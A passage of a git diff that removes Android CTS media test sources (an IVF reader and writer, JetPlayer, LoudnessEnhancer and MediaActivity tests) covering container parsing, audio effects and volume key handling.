-        mIvfFile.seek(frameHead + FRAME_HEADER_SIZE);
-        mIvfFile.read(frame);
-
-        return frame;
-    }
-
-    /**
-     * Closes IVF file.
-     */
-    public void close() throws IOException{
-        mIvfFile.close();
-    }
-
-    private boolean verifyHeader() throws IOException{
-        mIvfFile.seek(0);
-
-        if (mIvfFile.length() < HEADER_SIZE){
-            return false;
-        }
-
-        // DKIF signature
-        boolean signatureMatch = ((mIvfFile.readByte() == (byte)'D') &&
-                (mIvfFile.readByte() == (byte)'K') &&
-                (mIvfFile.readByte() == (byte)'I') &&
-                (mIvfFile.readByte() == (byte)'F'));
-
-        // Fourcc
-        mIvfFile.seek(FOURCC_OFFSET);
-        boolean fourccMatch = ((mIvfFile.readByte() == (byte)'V') &&
-                (mIvfFile.readByte() == (byte)'P') &&
-                (mIvfFile.readByte() == (byte)'8') &&
-                (mIvfFile.readByte() == (byte)'0'));
-
-        return signatureMatch && fourccMatch;
-    }
-
-    private void readHeaderData() throws IOException{
-        // width
-        mIvfFile.seek(WIDTH_OFFSET);
-        mWidth = (int) changeEndianness(mIvfFile.readShort());
-
-        // height
-        mIvfFile.seek(HEIGHT_OFFSET);
-        mHeight = (int) changeEndianness(mIvfFile.readShort());
-
-        // frame count
-        mIvfFile.seek(FRAMECOUNT_OFFSET);
-        mFrameCount = changeEndianness(mIvfFile.readInt());
-
-        // allocate frame metadata
-        mFrameHeads = new int[mFrameCount];
-        mFrameSizes = new int[mFrameCount];
-    }
-
-    private void readFrameMetadata() throws IOException{
-        int frameHead = HEADER_SIZE;
-        for(int i = 0; i < mFrameCount; i++){
-            mIvfFile.seek(frameHead);
-            int frameSize = changeEndianness(mIvfFile.readInt());
-            mFrameHeads[i] = frameHead;
-            mFrameSizes[i] = frameSize;
-            // next frame
-            frameHead += FRAME_HEADER_SIZE + frameSize;
-        }
-    }
-
-    private static short changeEndianness(short value){
-        // Rationale for down-cast;
-        // Java Language specification 15.19:
-        //  "The type of the shift expression is the promoted type of the left-hand operand."
-        // Java Language specification 5.6:
-        //  "...if the operand is of compile-time type byte, short, or char,
-        //  unary numeric promotion promotes it to a value of type int by a widening conversion."
-        return (short) (((value << 8) & 0XFF00) | ((value >> 8) & 0X00FF));
-    }
-
-    private static int changeEndianness(int value){
-        return (((value << 24) & 0XFF000000) |
-                ((value << 8)  & 0X00FF0000) |
-                ((value >> 8)  & 0X0000FF00) |
-                ((value >> 24) & 0X000000FF));
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/IvfWriter.java b/tests/tests/media/src/android/media/cts/IvfWriter.java
deleted file mode 100644
index 36fb679..0000000
--- a/tests/tests/media/src/android/media/cts/IvfWriter.java
+++ /dev/null
@@ -1,195 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.MediaFormat;
-
-import java.io.IOException;
-import java.io.RandomAccessFile;
-
-/**
- * Writes an IVF file.
- *
- * IVF format is a simple container format for VP8 encoded frames defined at
- * http://wiki.multimedia.cx/index.php?title=IVF.
- */
-
-public class IvfWriter {
-    private static final byte HEADER_END = 32;
-    private RandomAccessFile mOutputFile;
-    private int mWidth;
-    private int mHeight;
-    private int mScale;
-    private int mRate;
-    private int mFrameCount;
-    private String mMimeType;
-
-    /**
-     * Initializes the IVF file writer.
-     *
-     * Timebase fraction is in format scale/rate, e.g. 1/1000
-     * Timestamp values supplied while writing frames should be in accordance
-     * with this timebase value.
-     *
-     * @param filename   name of the IVF file
-     * @param mimeType   mime type of the codec
-     * @param width      frame width
-     * @param height     frame height
-     * @param scale      timebase scale (or numerator of the timebase fraction)
-     * @param rate       timebase rate (or denominator of the timebase fraction)
-     */
-    public IvfWriter(
-            String filename, String mimeType, int width, int height, int scale,
-            int rate) throws IOException {
-        mOutputFile = new RandomAccessFile(filename, "rw");
-        mMimeType = mimeType;
-        mWidth = width;
-        mHeight = height;
-        mScale = scale;
-        mRate = rate;
-        mFrameCount = 0;
-        mOutputFile.setLength(0);
-        mOutputFile.seek(HEADER_END);  // Skip the header for now, as framecount is unknown
-    }
-
-    /**
-     * Initializes the IVF file writer with a microsecond timebase.
-     *
-     * Microsecond timebase is default for OMX thus stagefright.
-     *
-     * @param filename   name of the IVF file
-     * @param mimeType   mime type of the codec
-     * @param width      frame width
-     * @param height     frame height
-     */
-    public IvfWriter(String filename, String mimeType, int width, int height) throws IOException {
-        this(filename, mimeType, width, height, 1, 1000000);
-    }
-
-    /**
-     * Finalizes the IVF header and closes the file.
-     */
-    public void close() throws IOException{
-        // Write header now
-        mOutputFile.seek(0);
-        mOutputFile.write(makeIvfHeader(mFrameCount, mWidth, mHeight, mScale, mRate, mMimeType));
-        mOutputFile.close();
-    }
-
-    /**
-     * Writes a single encoded VP8 frame with its frame header.
-     *
-     * @param frame     actual contents of the encoded frame data
-     * @param timeStamp timestamp of the frame (in accordance to specified timebase)
-     */
-    public void writeFrame(byte[] frame, long timeStamp) throws IOException {
-        mOutputFile.write(makeIvfFrameHeader(frame.length, timeStamp));
-        mOutputFile.write(frame);
-        mFrameCount++;
-    }
-
-    /**
-     * Makes a 32 byte file header for IVF format.
-     *
-     * Timebase fraction is in format scale/rate, e.g. 1/1000
-     *
-     * @param frameCount total number of frames file contains
-     * @param width      frame width
-     * @param height     frame height
-     * @param scale      timebase scale (or numerator of the timebase fraction)
-     * @param rate       timebase rate (or denominator of the timebase fraction)
-     */
-    private static byte[] makeIvfHeader(
-            int frameCount, int width, int height, int scale, int rate, String mimeType) {
-        byte[] ivfHeader = new byte[32];
-        ivfHeader[0] = 'D';
-        ivfHeader[1] = 'K';
-        ivfHeader[2] = 'I';
-        ivfHeader[3] = 'F';
-        lay16Bits(ivfHeader, 4, 0);  // version
-        lay16Bits(ivfHeader, 6, 32);  // header size
-        ivfHeader[8] = 'V';  // fourcc
-        ivfHeader[9] = 'P';
-        ivfHeader[10] = (byte) (MediaFormat.MIMETYPE_VIDEO_VP8.equals(mimeType) ? '8' : '9');
-        ivfHeader[11] = '0';
-        lay16Bits(ivfHeader, 12, width);
-        lay16Bits(ivfHeader, 14, height);
-        lay32Bits(ivfHeader, 16, rate);  // scale/rate
-        lay32Bits(ivfHeader, 20, scale);
-        lay32Bits(ivfHeader, 24, frameCount);
-        lay32Bits(ivfHeader, 28, 0);  // unused
-        return ivfHeader;
-    }
-
-    /**
-     * Makes a 12 byte header for an encoded frame.
-     *
-     * @param size      frame size
-     * @param timestamp presentation timestamp of the frame
-     */
-    private static byte[] makeIvfFrameHeader(int size, long timestamp){
-        byte[] frameHeader = new byte[12];
-        lay32Bits(frameHeader, 0, size);
-        lay64bits(frameHeader, 4, timestamp);
-        return frameHeader;
-    }
-
-
-    /**
-     * Lays least significant 16 bits of an int into 2 items of a byte array.
-     *
-     * Note that ordering is little-endian.
-     *
-     * @param array     the array to be modified
-     * @param index     index of the array to start laying down
-     * @param value     the integer to use least significant 16 bits
-     */
-    private static void lay16Bits(byte[] array, int index, int value){
-        array[index] = (byte) (value);
-        array[index + 1] = (byte) (value >> 8);
-    }
-
-    /**
-     * Lays an int into 4 items of a byte array.
-     *
-     * Note that ordering is little-endian.
-     *
-     * @param array     the array to be modified
-     * @param index     index of the array to start laying down
-     * @param value     the integer to use
-     */
-    private static void lay32Bits(byte[] array, int index, int value){
-        for (int i = 0; i < 4; i++){
-            array[index + i] = (byte) (value >> (i * 8));
-        }
-    }
-
-    /**
-     * Lays a long int into 8 items of a byte array.
-     *
-     * Note that ordering is little-endian.
-     *
-     * @param array     the array to be modified
-     * @param index     index of the array to start laying down
-     * @param value     the integer to use
-     */
-    private static void lay64bits(byte[] array, int index, long value){
-        for (int i = 0; i < 8; i++){
-            array[index + i] = (byte) (value >> (i * 8));
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/JetPlayerTest.java b/tests/tests/media/src/android/media/cts/JetPlayerTest.java
deleted file mode 100644
index 112d5a5..0000000
--- a/tests/tests/media/src/android/media/cts/JetPlayerTest.java
+++ /dev/null
@@ -1,221 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-
-import android.content.res.AssetFileDescriptor;
-import android.media.JetPlayer;
-import android.media.JetPlayer.OnJetEventListener;
-import android.os.Environment;
-import android.os.Handler;
-import android.os.Looper;
-import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-
-import java.io.File;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-
-@NonMediaMainlineTest
-public class JetPlayerTest extends AndroidTestCase {
-    private OnJetEventListener mOnJetEventListener;
-    private boolean mOnJetUserIdUpdateCalled;
-    private boolean mOnJetPauseUpdateCalled;
-    private boolean mOnJetNumQueuedSegmentUpdateCalled;
-    private boolean mOnJetEventCalled;
-    private String mJetFile;
-    /* JetPlayer and Handler will be on the Main Looper */
-    private Handler mHandler = new Handler(Looper.getMainLooper());
-    private final JetPlayer mJetPlayer = JetPlayer.getJetPlayer();
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mOnJetEventListener  = new MockOnJetEventListener();
-        mJetFile =
-            new File(Environment.getExternalStorageDirectory(), "test.jet").getAbsolutePath();
-        assertTrue(JetPlayer.getMaxTracks() > 0);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        // Prevent tests from failing with EAS_ERROR_FILE_ALREADY_OPEN
-        // after a previous test fails.
-        mJetPlayer.closeJetFile();
-
-        File jetFile = new File(mJetFile);
-        if (jetFile.exists()) {
-            jetFile.delete();
-        }
-        super.tearDown();
-    }
-
-    @AppModeFull(reason = "Instant apps cannot access the SD card")
-    public void testLoadJetFromPath() throws Throwable {
-        assertTrue(mJetPlayer.clearQueue());
-        prepareFile();
-        mJetPlayer.setEventListener(mOnJetEventListener);
-        assertTrue(mJetPlayer.loadJetFile(mJetFile));
-        runJet();
-    }
-
-    public void testLoadJetFromFd() throws Throwable {
-        assertTrue(mJetPlayer.clearQueue());
-        mJetPlayer.setEventListener(mOnJetEventListener, mHandler);
-        assertTrue(mJetPlayer.loadJetFile(mContext.getResources().openRawResourceFd(R.raw.test_jet)));
-        runJet();
-    }
-
-    public void testQueueJetSegmentMuteArray() throws Throwable {
-        assertTrue(mJetPlayer.clearQueue());
-        mJetPlayer.setEventListener(mOnJetEventListener, mHandler);
-        assertTrue(mJetPlayer.loadJetFile(mContext.getResources().openRawResourceFd(R.raw.test_jet)));
-        byte userID = 0;
-        int segmentNum = 3;
-        int libNum = -1;
-        int repeatCount = 0;
-        int transpose = 0;
-        boolean[] muteFlags = new boolean[32];
-        assertTrue(mJetPlayer.queueJetSegmentMuteArray(segmentNum, libNum,
-                repeatCount, transpose,
-                muteFlags, userID));
-        assertTrue(mJetPlayer.play());
-        for (int i = 0; i < muteFlags.length; i++) {
-            muteFlags[i] = true;
-        }
-        muteFlags[8] = false;
-        muteFlags[9] = false;
-        muteFlags[10] = false;
-        assertTrue(mJetPlayer.queueJetSegmentMuteArray(segmentNum, libNum,
-                repeatCount, transpose,
-                muteFlags, userID));
-        Thread.sleep(20000);
-        assertTrue(mJetPlayer.pause());
-        assertTrue(mJetPlayer.clearQueue());
-        assertFalse(mJetPlayer.play());
-        assertTrue(mJetPlayer.closeJetFile());
-    }
-
-    private void runJet() throws Throwable {
-        byte userID = 0;
-        int segmentNum = 3;
-        int libNum = -1;
-        int repeatCount = 1;
-        int transpose = 0;
-        int muteFlags = 0;
-        assertTrue(mJetPlayer.queueJetSegment(segmentNum, libNum, repeatCount,
-                transpose, muteFlags, userID));
-
-        segmentNum = 6;
-        repeatCount = 1;
-        transpose = -1;
-        assertTrue(mJetPlayer.queueJetSegment(segmentNum, libNum, repeatCount,
-                transpose, muteFlags, userID));
-
-        segmentNum = 7;
-        transpose = 0;
-        assertTrue(mJetPlayer.queueJetSegment(segmentNum, libNum, repeatCount,
-                transpose, muteFlags, userID));
-
-        for (int i = 0; i < 7; i++) {
-            assertTrue(mJetPlayer.triggerClip(i));
-        }
-        assertTrue(mJetPlayer.play());
-        Thread.sleep(10000);
-        assertTrue(mJetPlayer.pause());
-        assertFalse(mJetPlayer.setMuteArray(new boolean[40], false));
-        boolean[] muteArray = new boolean[32];
-        for (int i = 0; i < muteArray.length; i++) {
-            muteArray[i] = true;
-        }
-        muteArray[8] = false;
-        muteArray[9] = false;
-        muteArray[10] = false;
-        assertTrue(mJetPlayer.setMuteArray(muteArray, true));
-        Thread.sleep(1000);
-        assertTrue(mJetPlayer.play());
-        Thread.sleep(1000);
-        assertTrue(mJetPlayer.setMuteFlag(9, true, true));
-        Thread.sleep(1000);
-        assertTrue(mJetPlayer.setMuteFlags(0, false));
-        Thread.sleep(1000);
-        assertTrue(mJetPlayer.setMuteFlags(0xffffffff, false));
-        Thread.sleep(1000);
-        assertTrue(mJetPlayer.setMuteFlags(0, false));
-        Thread.sleep(30000);
-        assertTrue(mJetPlayer.pause());
-        assertTrue(mJetPlayer.closeJetFile());
-        assertTrue(mOnJetEventCalled);
-        assertTrue(mOnJetPauseUpdateCalled);
-        assertTrue(mOnJetNumQueuedSegmentUpdateCalled);
-        assertTrue(mOnJetUserIdUpdateCalled);
-    }
-
-    public void testClone() throws Exception {
-        try {
-            mJetPlayer.clone();
-            fail("should throw CloneNotSupportedException");
-        } catch (CloneNotSupportedException e) {
-            // expect here
-        }
-    }
-
-    private void prepareFile() throws IOException {
-        InputStream source = null;
-        OutputStream target = null;
-        try {
-            source = mContext.getResources().openRawResource(R.raw.test_jet);
-            target = new FileOutputStream(mJetFile);
-            byte[] buffer = new byte[1024];
-            int length;
-            while ((length = source.read(buffer)) != -1) {
-                target.write(buffer, 0, length);
-            }
-        } finally {
-            if (source != null) {
-                source.close();
-            }
-            if (target != null) {
-                target.close();
-            }
-        }
-    }
-
-    private class MockOnJetEventListener implements OnJetEventListener {
-
-        public void onJetEvent(JetPlayer player, short segment, byte track, byte channel,
-                byte controller, byte value) {
-            mOnJetEventCalled = true;
-        }
-
-        public void onJetNumQueuedSegmentUpdate(JetPlayer player, int nbSegments) {
-            mOnJetNumQueuedSegmentUpdateCalled = true;
-        }
-
-        public void onJetPauseUpdate(JetPlayer player, int paused) {
-            mOnJetPauseUpdateCalled = true;
-        }
-
-        public void onJetUserIdUpdate(JetPlayer player, int userId, int repeatCount) {
-            mOnJetUserIdUpdateCalled = true;
-        }
-    }
-}
diff --git a/tests/tests/media/src/android/media/cts/LoudnessEnhancerTest.java b/tests/tests/media/src/android/media/cts/LoudnessEnhancerTest.java
deleted file mode 100644
index a3aa971..0000000
--- a/tests/tests/media/src/android/media/cts/LoudnessEnhancerTest.java
+++ /dev/null
@@ -1,260 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.media.cts;
-
-import android.media.cts.R;
-
-import android.content.Context;
-import android.media.audiofx.AudioEffect;
-import android.media.AudioFormat;
-import android.media.AudioManager;
-import android.media.MediaPlayer;
-import android.media.audiofx.LoudnessEnhancer;
-import android.platform.test.annotations.AppModeFull;
-import java.util.UUID;
-import android.media.audiofx.Visualizer;
-import android.media.audiofx.Visualizer.MeasurementPeakRms;
-import android.os.Looper;
-import android.test.AndroidTestCase;
-import android.util.Log;
-
-@AppModeFull(reason = "Dynamic config disabled.")
-public class LoudnessEnhancerTest extends PostProcTestBase {
-
-    private String TAG = "LoudnessEnhancerTest";
-    private LoudnessEnhancer mLE;
-
-    //-----------------------------------------------------------------
-    // LOUDNESS ENHANCER TESTS:
-    //----------------------------------
-
-    //-----------------------------------------------------------------
-    // 0 - constructor
-    //----------------------------------
-
-    //Test case 0.0: test constructor and release
-    public void test0_0ConstructorAndRelease() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        AudioManager am = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
-        assertNotNull("null AudioManager", am);
-        getLoudnessEnhancer(0);
-        releaseLoudnessEnhancer();
-
-        int session = am.generateAudioSessionId();
-        assertTrue("cannot generate new session", session != AudioManager.ERROR);
-        getLoudnessEnhancer(session);
-        releaseLoudnessEnhancer();
-    }
-
-    //-----------------------------------------------------------------
-    // 1 - get/set parameters
-    //----------------------------------
-
-    //Test case 1.0: test set/get target gain
-    public void test1_0TargetGain() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        getLoudnessEnhancer(0);
-        try {
-            mLE.setTargetGain(0);
-            assertEquals("target gain differs from value set", 0.0f, mLE.getTargetGain());
-            mLE.setTargetGain(800);
-            assertEquals("target gain differs from value set", 800.0f, mLE.getTargetGain());
-        } catch (IllegalArgumentException e) {
-            fail("target gain illegal argument");
-        } catch (UnsupportedOperationException e) {
-            fail("target gain unsupported operation");
-        } catch (IllegalStateException e) {
-            fail("target gain operation called in wrong state");
-        } finally {
-            releaseLoudnessEnhancer();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 2 - Effect enable/disable
-    //----------------------------------
-
-    //Test case 2.0: test setEnabled() and getEnabled() in valid state
-    public void test2_0SetEnabledGetEnabled() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        getLoudnessEnhancer(getSessionId());
-        try {
-            mLE.setEnabled(true);
-            assertTrue("invalid state from getEnabled", mLE.getEnabled());
-            mLE.setEnabled(false);
-            assertFalse("invalid state to getEnabled", mLE.getEnabled());
-            // test passed
-        } catch (IllegalStateException e) {
-            fail("setEnabled() in wrong state");
-        } finally {
-            releaseLoudnessEnhancer();
-        }
-    }
-
-    //Test case 2.1: test setEnabled() throws exception after release
-    public void test2_1SetEnabledAfterRelease() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        getLoudnessEnhancer(getSessionId());
-        mLE.release();
-        try {
-            mLE.setEnabled(true);
-            fail("setEnabled() processed after release()");
-        } catch (IllegalStateException e) {
-            // test passed
-        } finally {
-            releaseLoudnessEnhancer();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // 3 - check effect using visualizer effect
-    //----------------------------------
-
-    //Test case 3.0: test loudness gain change in audio
-    public void test3_0MeasureGainChange() throws Exception {
-        if (!hasAudioOutput()) {
-            return;
-        }
-        AudioEffect vc = null;
-        Visualizer visualizer = null;
-        MediaPlayer mp = null;
-        try {
-            // this test will play a 1kHz sine wave with peaks at -40dB, and apply 6 db gain
-            // using loudness enhancement
-            mp = MediaPlayer.create(getContext(), R.raw.sine1khzm40db);
-            final int LOUDNESS_GAIN = 600;
-            final int MAX_MEASUREMENT_ERROR_MB = 200;
-            assertNotNull("null MediaPlayer", mp);
-
-            // creating a volume controller on output mix ensures that ro.audio.silent mutes
-            // audio after the effects and not before
-            vc = new AudioEffect(
-                    AudioEffect.EFFECT_TYPE_NULL,
-                    UUID.fromString(BUNDLE_VOLUME_EFFECT_UUID),
-                    0,
-                    mp.getAudioSessionId());
-            vc.setEnabled(true);
-
-            AudioManager am = (AudioManager) getContext().getSystemService(Context.AUDIO_SERVICE);
-            assertNotNull("null AudioManager", am);
-            int originalVolume = am.getStreamVolume(AudioManager.STREAM_MUSIC);
-            am.setStreamVolume(AudioManager.STREAM_MUSIC,
-                    am.getStreamMaxVolume(AudioManager.STREAM_MUSIC), 0);
-            int sessionId = mp.getAudioSessionId();
-
-            getLoudnessEnhancer(sessionId);
-            visualizer = new Visualizer(sessionId);
-
-            mp.setLooping(true);
-            mp.start();
-
-            visualizer.setEnabled(true);
-            assertTrue("visualizer not enabled", visualizer.getEnabled());
-            Thread.sleep(100);
-            int status = visualizer.setMeasurementMode(Visualizer.MEASUREMENT_MODE_PEAK_RMS);
-            Thread.sleep(500);
-            assertEquals("setMeasurementMode() for PEAK_RMS doesn't report success",
-                    Visualizer.SUCCESS, status);
-            // make sure we're playing long enough so the measurement is valid
-            int currentPosition = mp.getCurrentPosition();
-            int maxTry = 100;
-            int tryCount = 0;
-            while (currentPosition < 200 && tryCount < maxTry) {
-                Thread.sleep(50);
-                currentPosition = mp.getCurrentPosition();
-                tryCount++;
-            }
-            assertTrue("MediaPlayer not ready", tryCount < maxTry);
-
-            MeasurementPeakRms measurement = new MeasurementPeakRms();
-            status = visualizer.getMeasurementPeakRms(measurement);
-            assertEquals("getMeasurementPeakRms() reports failure", Visualizer.SUCCESS, status);
-
-            //run for a new set of 3 seconds, get new measurement
-            mLE.setTargetGain(LOUDNESS_GAIN);
-            assertEquals("target gain differs from value set", (float)LOUDNESS_GAIN,
-                    mLE.getTargetGain());
-
-            mLE.setEnabled(true);
-
-            visualizer.setMeasurementMode(Visualizer.MEASUREMENT_MODE_PEAK_RMS);
-            Thread.sleep(500);
-
-            MeasurementPeakRms measurement2 = new MeasurementPeakRms();
-            status = visualizer.getMeasurementPeakRms(measurement2);
-            assertEquals("getMeasurementPeakRms() reports failure", Visualizer.SUCCESS, status);
-
-            //compare both measurements
-            am.setStreamVolume(AudioManager.STREAM_MUSIC, originalVolume, 0);
-            assertEquals("getMeasurementPeakRms() reports failure",
-                    Visualizer.SUCCESS, status);
-            Log.i("LETest", "peak="+measurement.mPeak+"  rms="+measurement.mRms);
-            Log.i("LETest", "peak2="+measurement2.mPeak+"  rms2="+measurement2.mRms);
-
-            int deltaPeak = Math.abs(measurement2.mPeak - (measurement.mPeak + LOUDNESS_GAIN) );
-            assertTrue("peak deviation in mB = "+deltaPeak, deltaPeak < MAX_MEASUREMENT_ERROR_MB);
-
-        } catch (IllegalStateException e) {
-            fail("method called in wrong state");
-        } catch (InterruptedException e) {
-            fail("sleep() interrupted");
-        } finally {
-            if (mp != null) {
-                mp.stop();
-                mp.release();
-            }
-
-            if (vc != null)
-                vc.release();
-
-            if (visualizer != null)
-                visualizer.release();
-
-            releaseLoudnessEnhancer();
-        }
-    }
-
-    //-----------------------------------------------------------------
-    // private methods
-    //----------------------------------
-    private void getLoudnessEnhancer(int session) {
-        releaseLoudnessEnhancer();
-        try {
-            mLE = new LoudnessEnhancer(session);
-        } catch (IllegalArgumentException e) {
-            Log.e(TAG, "getLoudnessEnhancer() LoudnessEnhancer not found exception: ", e);
-        } catch (UnsupportedOperationException e) {
-            Log.e(TAG, "getLoudnessEnhancer() Effect library not loaded exception: ", e);
-        }
-        assertNotNull("could not create LoudnessEnhancer", mLE);
-    }
-
-    private void releaseLoudnessEnhancer() {
-        if (mLE != null) {
-            mLE.release();
-            mLE = null;
-        }
-    }
-}
\ No newline at end of file
diff --git a/tests/tests/media/src/android/media/cts/MediaActivityTest.java b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
deleted file mode 100644
index 8cbe255..0000000
--- a/tests/tests/media/src/android/media/cts/MediaActivityTest.java
+++ /dev/null
@@ -1,290 +0,0 @@
-/*
- * Copyright 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.media.cts;
-
-import static junit.framework.Assert.assertEquals;
-
-import static org.junit.Assert.fail;
-import static org.junit.Assert.assertTrue;
-import static org.testng.Assert.assertFalse;
-
-import android.app.Activity;
-import android.app.Instrumentation;
-import android.content.Context;
-import android.content.Intent;
-import android.content.res.Resources;
-import android.media.AudioAttributes;
-import android.media.AudioManager;
-import android.media.session.MediaSession;
-import android.os.Handler;
-import android.os.Looper;
-import android.os.SystemClock;
-import android.util.Log;
-import android.view.KeyEvent;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.LargeTest;
-import androidx.test.rule.ActivityTestRule;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.After;
-import org.junit.Before;
-import org.junit.Rule;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.Callable;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Test {@link MediaSessionTestActivity} which has called {@link Activity#setMediaController}.
- */
-@NonMediaMainlineTest
-@LargeTest
-@RunWith(AndroidJUnit4.class)
-public class MediaActivityTest {
-    private static final String TAG = "MediaActivityTest";
-    private static final int WAIT_TIME_MS = 5000;
-    private static final int TIME_SLICE = 50;
-    private static final List<Integer> ALL_VOLUME_STREAMS = new ArrayList();
-    static {
-        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_ACCESSIBILITY);
-        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_ALARM);
-        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_DTMF);
-        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_MUSIC);
-        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_NOTIFICATION);
-        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_RING);
-        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_SYSTEM);
-        ALL_VOLUME_STREAMS.add(AudioManager.STREAM_VOICE_CALL);
-    }
-
-    private Instrumentation mInstrumentation;
-    private Context mContext;
-    private boolean mUseFixedVolume;
-    private AudioManager mAudioManager;
-    private Map<Integer, Integer> mStreamVolumeMap = new HashMap<>();
-    private MediaSession mSession;
-
-    @Rule
-    public ActivityTestRule<MediaSessionTestActivity> mActivityRule =
-            new ActivityTestRule<>(MediaSessionTestActivity.class, false, false);
-
-    @Before
-    public void setUp() throws Exception {
-        mInstrumentation = InstrumentationRegistry.getInstrumentation();
-        mContext = mInstrumentation.getContext();
-        mUseFixedVolume = mContext.getResources().getBoolean(
-                Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
-        mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
-
-        mStreamVolumeMap.clear();
-        for (Integer stream : ALL_VOLUME_STREAMS) {
-            mStreamVolumeMap.put(stream, mAudioManager.getStreamVolume(stream));
-        }
-
-        mSession = new MediaSession(mContext, TAG);
-
-        // Set volume stream other than STREAM_MUSIC.
-        // STREAM_MUSIC is the new default stream for changing volume, so it doesn't precisely test
-        // whether the session is prioritized for volume control or not.
-        mSession.setPlaybackToLocal(new AudioAttributes.Builder()
-                .setLegacyStreamType(AudioManager.STREAM_RING).build());
-
-        Intent intent = new Intent(Intent.ACTION_MAIN);
-        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
-        intent.putExtra(MediaSessionTestActivity.KEY_SESSION_TOKEN, mSession.getSessionToken());
-
-        mActivityRule.launchActivity(intent);
-
-        assertTrue(
-            "Failed to bring MediaSessionTestActivity due to the screen lock setting."
-                    + " Ensure screen lock isn't set before running CTS test.",
-            pollingCheck(() -> {
-                Activity activity = mActivityRule.getActivity();
-                if (activity == null) {
-                    return false;
-                }
-                return activity.getMediaController() != null;
-            }));
-    }
-
-    @After
-    public void cleanUp() {
-        if (mSession != null) {
-            mSession.release();
-            mSession = null;
-        }
-
-        try {
-            mActivityRule.finishActivity();
-        } catch (IllegalStateException e) {
-        }
-
-        for (int stream : mStreamVolumeMap.keySet()) {
-            int volume = mStreamVolumeMap.get(stream);
-            try {
-                mAudioManager.setStreamVolume(stream, volume, /* flag= */ 0);
-            } catch (SecurityException e) {
-                Log.w(TAG, "Failed to restore volume. The test probably had changed DnD mode"
-                        + ", stream=" + stream + ", originalVolume="
-                        + volume + ", currentVolume=" + mAudioManager.getStreamVolume(stream));
-            }
-        }
-    }
-
-    /**
-     * Tests whether volume key changes volume with the session's stream.
-     */
-    @Test
-    public void testVolumeKey_whileSessionAlive() throws Exception {
-        if (mUseFixedVolume) {
-            return;
-        }
-
-        final int testStream = mSession.getController().getPlaybackInfo().getAudioAttributes()
-                .getVolumeControlStream();
-        final int testKeyCode;
-        if (mStreamVolumeMap.get(testStream) == mAudioManager.getStreamMinVolume(testStream)) {
-            testKeyCode = KeyEvent.KEYCODE_VOLUME_UP;
-        } else {
-            testKeyCode = KeyEvent.KEYCODE_VOLUME_DOWN;
-        }
-
-        // The key event can be ignored and show volume panel instead. Use polling.
-        assertTrue("failed to adjust stream volume that foreground activity want",
-                pollingCheck(() -> {
-                    sendKeyEvent(testKeyCode);
-                    return mStreamVolumeMap.get(testStream)
-                            != mAudioManager.getStreamVolume(testStream);
-                }));
-    }
-
-    /**
-     * Tests whether volume key changes a stream volume even after the session is released,
-     * without being ignored.
-     */
-    @Test
